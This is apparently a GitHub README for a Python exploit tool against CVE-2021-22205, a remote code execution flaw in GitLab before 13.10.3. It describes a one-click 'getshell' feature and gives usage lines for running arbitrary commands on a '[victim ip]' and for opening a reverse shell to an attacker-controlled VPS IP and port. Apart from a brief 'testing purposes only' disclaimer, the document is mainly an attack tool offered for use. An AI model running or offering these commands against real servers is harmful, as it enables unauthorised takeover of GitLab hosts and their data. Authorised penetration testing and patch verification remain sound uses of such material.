keven1z/cve-2021-22205Python exploit script for CVE-2021-22205 (GitLab RCE) with command execution and reverse shell capabilities. Supports one-click getshell for penetration testing.
GitLab fails to properly verify image files passed to the file parser, leading to command execution. An attacker can craft malicious requests to exploit this vulnerability and execute arbitrary commands on the target system, ultimately taking control of the GitLab server. Since most public exploits lack a reverse shell capability, I modified an existing script to add a one-click getshell function.
______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
\____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/
usage: CVE-2021-22205.py [-h] [-t TARGET] [-c COMMAND] [--shell] [-i IP]
[-p PORT]
GitLab < 13.10.3 RCE
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target URL
-c COMMAND, --command COMMAND
Execute command
--shell Whether to get a reverse shell
-i IP, --ip IP Reverse shell IP
-p PORT, --port PORT Reverse shell port
python3 CVE-2021-22205.py -t [victim ip] --shell -i [vps ip] -p [vps port] // get reverse shell
python3 CVE-2021-22205.py -t [victim ip] -c [command] // execute command
This script is for testing purposes only. Do not misuse it.